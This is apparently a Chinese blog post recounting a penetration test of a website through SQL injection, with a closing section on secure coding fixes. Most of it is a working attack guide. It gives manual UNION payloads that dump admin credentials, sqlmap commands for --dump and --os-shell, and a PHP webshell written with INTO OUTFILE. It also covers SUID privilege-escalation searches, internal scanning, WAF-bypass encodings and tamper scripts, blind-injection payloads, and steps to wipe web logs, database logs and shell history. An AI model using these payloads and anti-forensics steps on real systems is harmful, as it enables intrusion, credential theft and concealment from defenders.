SQL注入实战:从手工探测到自动化利用的完整渗透测试复盘

📅 2026/6/22 23:37:55
SQL注入实战:从手工探测到自动化利用的完整渗透测试复盘
1. 项目概述一次基于SQL注入的实战渗透复盘最近在复盘一些老的渗透测试案例其中有一个关于某非法网站的渗透过程其核心突破口是一个典型的SQL注入漏洞。这个案例非常经典它几乎涵盖了从信息收集、漏洞发现、手工验证到自动化工具利用、数据获取乃至后续权限提升的完整链条。虽然目标网站的性质决定了其安全投入可能不足但其中暴露出的问题在大量中小型、甚至一些疏于管理的遗留系统中依然普遍存在。今天我就把这个过程拆解开来结合当时的手工测试和工具使用详细聊聊每一步的思路、操作和踩过的坑。无论你是刚入门安全的新手想理解SQL注入的实际危害还是有一定经验的从业者希望从中获得一些排查和利用的灵感这篇复盘或许都能给你带来一些参考。记住我们的所有讨论都基于授权的测试环境或合法的学习靶场旨在提升防御能力切勿用于非法用途。2. 前期信息收集与目标锁定渗透测试的第一步永远是信息收集它的质量直接决定了后续攻击的效率和成功率。对于这个案例我们假设目标是一个提供特定非法服务的网站。2.1 基础信息搜集首先我们需要像侦探一样尽可能多地收集目标的“数字指纹”。域名与IP情报通过whois查询、DNS历史记录查询获取域名的注册信息、历史IP变更记录。有时能发现测试服务器、旧版网站等更容易存在漏洞的资产。使用nslookup或dig命令查看域名解析确认主站IP以及可能存在的子域名。子域名枚举这是扩大攻击面的关键。使用工具如subfinder、amass或者在线服务尽可能多地发现目标的子域名。例如admin.example.com、test.example.com、old.example.com这些子站点的安全水平可能参差不齐是很好的突破口。端口与服务扫描使用Nmap对目标IP进行全端口扫描。命令如nmap -sS -sV -p- -T4 target_ip。这不仅是为了找Web服务的80/443端口更要关注像8080、8888、8443等常见的管理后台端口以及21FTP、22SSH、3306MySQL、6379Redis等可能暴露的数据库或服务端口。在这个案例中我们发现目标除了80端口还开放了一个3306端口但配置了IP白名单无法从外网直接访问这提示我们Web应用可能是主要的入口点。2.2 Web应用信息刺探确定了Web是主入口后我们开始针对Web应用本身进行信息收集。技术栈识别使用浏览器插件如Wappalyzer或命令行工具如whatweb快速识别网站使用的技术比如服务器Apache/Nginx、编程语言PHP/Java/Python、前端框架、中间件版本等。本例中目标是一个典型的LAMPLinux Apache MySQL PHP架构。目录与文件发现使用目录爆破工具如dirsearch、gobuster使用强大的字典寻找隐藏的管理后台/admin/、/manage/、备份文件.bak、.sql、.tar.gz、配置文件config.php、web.config、接口文件api.php等。这一步我们发现了/admin/login.php和/user/profile.php?id1这样的关键路径。参数分析与输入点枚举手动浏览网站用Burp Suite抓取所有请求重点关注所有带有参数的URL特别是?id、?user、?page、?search这类看起来与数据库查询相关的参数。同时也注意POST请求中的表单字段如登录框、搜索框、评论框。我们将所有这些潜在的“用户输入点”记录下来作为后续漏洞测试的重点目标。注意信息收集阶段要避免过于频繁和暴力的扫描以免触发目标的WAFWeb应用防火墙或IDS入侵检测系统告警。可以调节工具的速度使用随机延迟或者使用分布式的扫描节点。3. 漏洞发现手工探测SQL注入点在收集到/user/profile.php?id1这个疑似注入点后我们开始进行手工SQL注入测试。手工测试的优势在于精准、可控能更好地理解后端逻辑并绕过一些简单的过滤。3.1 注入点类型判断首先我们需要判断注入点是数字型还是字符型。基础测试访问/user/profile.php?id1页面正常显示用户1的信息。数字型测试尝试/user/profile.php?id1 and 11。如果页面依然正常说明and 11这个条件被数据库执行并结果为真。再尝试/user/profile.php?id1 and 12。如果页面返回异常空白、报错、内容消失则说明and 12这个假条件影响了查询结果强烈暗示存在数字型注入。因为数字型注入通常形如SELECT * FROM users WHERE id $id我们传入1 and 12后查询变为SELECT * FROM users WHERE id 1 and 12条件永假可能返回空结果。字符型测试如果数字型测试无反应则测试字符型。假设参数被引号包裹SELECT * FROM users WHERE name $name。我们尝试闭合引号并注释掉后续部分。例如参数是search我们输入 or 11。那么查询变为SELECT * FROM users WHERE name or 1111永真可能会返回所有数据。对于本例的id参数我们也尝试了字符型测试id1。页面返回了数据库错误信息如You have an error in your SQL syntax...这直接证实了漏洞存在并且是字符型注入因为多出的单引号破坏了SQL语法。3.2 利用错误信息获取情报当输入id1引发报错时错误信息非常宝贵。它可能直接暴露数据库类型MySQL、MSSQL、PostgreSQL、部分查询语句结构甚至表名和字段名。例如一个典型的MySQL错误可能包含“near ‘’’ at line 1”这告诉我们后端拼接SQL的方式。我们据此推断原始查询可能类似SELECT username, email FROM profiles WHERE user_id $id。3.3 确定字段数Order By为了后续使用UNION SELECT联合查询我们需要知道当前查询语句返回的字段数量。使用ORDER BY子句进行盲测。我们依次尝试/user/profile.php?id1 order by 1-- -/user/profile.php?id1 order by 2-- -/user/profile.php?id1 order by 5-- -.../user/profile.php?id1 order by 8-- -页面正常。/user/profile.php?id1 order by 9-- -页面报错或显示异常。这说明当前查询结果共返回8个字段。-- -是注释符用于注释掉原查询中可能存在的后续单引号或SQL语句确保我们的注入语句干净。3.4 联合查询Union Select获取数据知道了字段数是8我们就可以使用UNION SELECT来让数据库执行我们自定义的查询并将结果并排显示在页面上。确定显示位首先我们需要知道这8个字段中哪几个字段的内容会被实际显示在网页上。我们构造Payload/user/profile.php?id1 and 12 union select 1,2,3,4,5,6,7,8-- -and 12使得前一个查询结果为空这样页面就只会显示我们union select的结果。在页面上我们看到了数字“2”、“3”、“5”被显示了出来。这意味着页面的第2、3、5列是显示位我们可以将想要查询的数据替换到这几个位置。获取数据库信息利用显示位我们可以查询数据库的系统信息。 Payload/user/profile.php?id1 and 12 union select 1, database(), user(), version(), 5,6,7,8-- -我们将database()当前数据库名、user()当前数据库用户、version()数据库版本分别放在2、3、5号显示位。页面成功显示了数据库名是illegal_site_db用户是rootlocalhost版本是MySQL 5.7.36。看到root用户心里基本有底了这意味着数据库权限很高。枚举表名和列名在MySQL中information_schema数据库存储了所有元数据。查表名 Payload/user/profile.php?id1 and 12 union select 1, table_name, 3,4,5,6,7,8 from information_schema.tables where table_schemadatabase() limit 0,1-- -通过修改limit的参数如limit 1,1limit 2,1我们可以逐个爆出当前数据库中的所有表名。我们发现了users,admin,transactions,config等表。查列名我们对最感兴趣的admin表进行列名枚举。 Payload/user/profile.php?id1 and 12 union select 1, column_name, 3,4,5,6,7,8 from information_schema.columns where table_schemadatabase() and table_nameadmin limit 0,1-- -同样修改limit值我们得到了id,username,password_hash,email,last_login等列。拖取核心数据最后直接查询admin表的内容。 Payload/user/profile.php?id1 and 12 union select 1, username, password_hash, email, 5,6,7,8 from admin-- -页面上清晰地显示了管理员账号、经过哈希处理的密码看起来像是MD5、以及邮箱。实操心得手工注入时浏览器的地址栏对URL长度有限制。当Payload较长时建议使用Burp Suite的Repeater模块。将请求发送到Repeater直接在参数位置修改更加方便。另外注意观察页面返回的细微差别有时数据可能隐藏在HTML源码里或者只显示一部分需要查看网页源代码。4. 工具辅助使用SQLMap进行自动化利用与深度探测手工注入验证了漏洞的存在并获取了初步数据但为了更全面、更高效地挖掘我们祭出了神器——SQLMap。SQLMap可以自动化完成从检测、利用到数据提取的全过程。4.1 基础检测与数据提取我们使用最基本的命令开始sqlmap -u http://target-site.com/user/profile.php?id1 --batch-u指定目标URL。--batch以非交互模式运行所有提示都选择默认选项适合自动化。SQLMap会自动识别参数、测试注入类型。很快它确认了这是一个基于错误的字符型注入点并识别出后端是MySQL数据库。接着它会询问是否要跳过其他参数的测试、是否要检测其他数据库类型等由于我们用了--batch它会自动继续。接下来我们想获取当前数据库的所有数据可以使用sqlmap -u http://target-site.com/user/profile.php?id1 --dbs--dbs参数用于枚举所有数据库。除了我们之前知道的illegal_site_db还可能发现其他数据库比如测试库、备份库等。然后我们指定目标数据库进行表枚举sqlmap -u http://target-site.com/user/profile.php?id1 -D illegal_site_db --tables果然列出了和手工注入时发现的类似的表。接着查看admin表的结构sqlmap -u http://target-site.com/user/profile.php?id1 -D illegal_site_db -T admin --columns最后拖取admin表的所有数据sqlmap -u http://target-site.com/user/profile.php?id1 -D illegal_site_db -T admin --dump--dump会提取表内所有数据。SQLMap还会智能地识别password_hash这类哈希值并询问是否尝试用内置字典进行破解如MD5、SHA1彩虹表。4.2 进阶利用获取Shell与权限提升拿到数据库数据远不是终点我们的目标是获取服务器的控制权。写入WebShell如果当前数据库用户有FILE权限我们之前手工查看到是root通常具备并且我们知道网站根目录的绝对路径可以通过报错信息、扫描常见目录、或利用load_file()函数读取服务器配置文件猜测就可以尝试写入一个WebShell。找路径有时在页面报错信息、应用配置文件中能找到路径。我们通过之前的信息收集猜测路径可能是/var/www/html/。写文件使用SQLMap的--os-shell参数它会尝试通过注入点上传一个用于命令执行的小马并返回一个交互式的伪Shell。命令如下sqlmap -u http://target-site.com/user/profile.php?id1 --os-shellSQLMap会提供几种上传方式如基于堆查询的、基于写入文件的。我们选择文件写入的方式。它会询问Web根目录我们输入/var/www/html/。成功后我们就能在浏览器访问这个WebShell一个.php文件通过它执行系统命令。直接命令执行在MySQL中如果配置允许secure_file_priv为空并且有权限还可以通过INTO OUTFILE或DUMPFILE写文件。手工Payload示例id1 union select 1, ?php system($_GET[cmd]);?, 3,4,5,6,7,8 into outfile /var/www/html/shell.php-- -如果成功就会在Web目录下生成一个包含一句话木马的shell.php文件。权限提升与内网渗透通过WebShell我们获得了www-data用户的权限。接下来是标准的内网渗透流程信息收集执行id,whoami,uname -a查看当前用户和系统信息。执行ifconfig或ip a查看网络配置发现内网网段。查找敏感文件查找网站配置文件config.php,.env里面可能有数据库密码、其他服务的密钥。查找用户目录下的history文件、ssh密钥等。尝试提权使用sudo -l查看当前用户能以root身份执行哪些命令。搜索具有SUID权限的可执行文件find / -perm -us -type f 2/dev/null看看是否有已知漏洞的如find,vim,nmap旧版本。上传本地提权检测脚本如LinEnum.sh进行系统检查。内网扫描利用WebShell作为跳板使用nc,上传的nmap静态二进制文件等工具对内网其他主机如数据库服务器192.168.1.100进行端口扫描寻找新的攻击面。注意事项使用--os-shell或写文件功能成功率受环境限制很大。secure_file_priv设置、目录写入权限、Web服务器用户权限等都是障碍。在实际测试中需要根据具体情况灵活选择方法。写入动作也会在Web日志和应用日志中留下明显痕迹。5. 漏洞根源分析与安全编码实践成功渗透之后更重要的是分析漏洞为何会产生以及如何修复。这个案例的根源非常清晰未对用户输入进行有效的过滤和转义直接将用户可控的参数拼接到了SQL语句中。5.1 漏洞代码还原后端PHP代码可能长这样$id $_GET[id]; // 直接从URL参数获取未经过滤 $sql SELECT * FROM profiles WHERE user_id . $id . ; $result mysqli_query($conn, $sql);攻击者输入1 or 11拼接后SQL变为SELECT * FROM profiles WHERE user_id 1 or 11导致条件永真返回所有数据。5.2 根本性防御方案使用参数化查询预编译语句这是最有效、最根本的防御手段。它将SQL语句的结构模板与数据参数分开发送给数据库数据库会严格区分两者参数值无论如何变化都不会改变原语句的结构。PHP (PDO)示例$stmt $pdo-prepare(SELECT * FROM profiles WHERE user_id :id); $stmt-execute([id $id]); $results $stmt-fetchAll();PHP (MySQLi)示例$stmt $conn-prepare(SELECT * FROM profiles WHERE user_id ?); $stmt-bind_param(s, $id); // s表示字符串类型 $stmt-execute();输入验证与过滤在参数化查询的基础上增加额外的输入验证。对于id参数如果预期是数字就强制转换为整型$id (int)$_GET[id];。对于字符串定义允许的字符白名单如只允许字母数字使用正则表达式过滤。最小权限原则为Web应用连接数据库分配一个权限尽可能低的账户。只授予它访问特定数据库、特定表的SELECT、UPDATE等必要权限坚决不要使用root或拥有FILE、PROCESS等高权限的账户。这样即使发生注入攻击者也无法执行写文件、读系统文件等危险操作。错误处理将数据库错误信息屏蔽不要直接显示给用户。在生产环境中应记录错误日志到服务器文件而前端只返回通用的错误提示。这可以防止攻击者通过报错信息获取数据库结构。Web应用防火墙WAF部署WAF可以作为一道额外的防线用于检测和拦截常见的SQL注入攻击Payload。但它应该是“锦上添花”的补充而不能替代安全编码。6. 渗透测试中的常见问题与排查技巧在实际的渗透测试过程中尤其是在面对一些有基础防护的目标时不会总是一帆风顺。下面记录几个常见场景和应对技巧。6.1 遇到WAFWeb应用防火墙拦截这是现在非常普遍的情况。当你发现正常的and 11测试都被拦截返回403或空白页时说明可能有WAF。技巧1大小写混淆/随机大小写WAF的规则可能是大小写敏感的。尝试AnD 11、UnIoN SeLeCt。技巧2使用注释符分割关键字SQL允许注释符/**/。尝试un/**/ion sel/**/ect。技巧3编码与双重编码对Payload进行URL编码、十六进制编码。有时WAF只解码一次可以尝试双重编码。例如单引号的URL编码是%27双重编码是%2527。技巧4使用非常规空格用/**/、%0a换行、%0d回车、%09制表符代替普通空格。技巧5慢速探测使用and sleep(5)这类时间盲注的Payload低速探测避免触发频率限制规则。技巧6利用SQLMap的Tamper脚本SQLMap内置了大量用于绕WAF的Tamper脚本如space2comment空格转注释、between用between替换、charencodeURL编码等。使用--tamper参数指定如--tamperspace2comment,charencode。6.2 布尔盲注与时间盲注当页面没有显示位也没有错误信息回显只有“存在”和“不存在”两种状态布尔盲注或者连状态都没有只能通过响应时间判断时间盲注时手工注入会非常繁琐。布尔盲注思路通过and条件逐个字符猜测数据。例如猜解数据库名第一个字符的ASCII码id1 and ascii(substr(database(),1,1))100-- -通过页面内容是否正常来二分判断。这个过程极其耗时。时间盲注思路通过sleep()函数如果条件为真则延迟响应。例如id1 and if(ascii(substr(database(),1,1))100, sleep(5), 0)-- -通过观察页面是否延迟5秒返回来判断。工具优势在这种情况下SQLMap的优势巨大。只需添加--techniqueB布尔盲注或--techniqueT时间盲注参数它就能自动化完成整个猜解过程。命令如sqlmap -u xxx --techniqueB --batch。6.3 高权限与提权受阻即使通过注入拿到了数据库高权限用户在向操作系统提权时也可能受阻。secure_file_priv限制MySQL的这个系统变量限制了LOAD DATA INFILE和SELECT ... INTO OUTFILE能读写文件的目录。如果设置为NULL则禁止文件操作如果设置为某个目录则只能在该目录下操作。可以通过show variables like secure_file_priv;查询。如果受限写WebShell的路径可能失败。Web目录无写权限即使数据库有FILE权www-data用户也可能对Web根目录没有写权限。应对策略尝试寻找其他可写目录如/tmp然后看能否通过其他方式如本地文件包含漏洞包含这个文件。利用数据库的general_log或slow_query_log功能通过修改日志文件路径和内容来写入WebShell但这需要SUPER权限。如果注入点支持堆查询如MSSQL、PostgreSQL可以尝试执行系统命令不依赖写文件。将重点转向从数据库提取的敏感信息如管理员密码哈希、其他系统密码等尝试破解后登录其他服务如SSH、后台管理系统。6.4 日志与痕迹清理在授权的渗透测试中清理痕迹是必要步骤以模拟攻击者行为或避免对测试环境造成持续影响。Web访问日志需要找到Web服务器的访问日志位置如Apache的/var/log/apache2/access.log删除或修改包含我们攻击Payload的记录行。这需要文件写入或编辑权限。数据库日志MySQL的通用查询日志general_log如果开启会记录所有SQL语句。需要找到日志文件并清理。同样需要高权限。系统命令历史在获取Shell后执行的命令会记录在用户目录的.bash_history或.zsh_history文件中需要清空。上传的WebShell文件测试结束后务必删除所有上传的后门文件。重要提醒在真实环境中未经授权的任何渗透测试和痕迹清理都是非法的。以上所有技术讨论仅适用于授权的安全评估、合规的攻防演练以及个人在完全隔离的实验室环境如DVWA、Pikachu、Vulnhub靶机中的学习。技术的刀刃朝向哪里取决于持刀的人。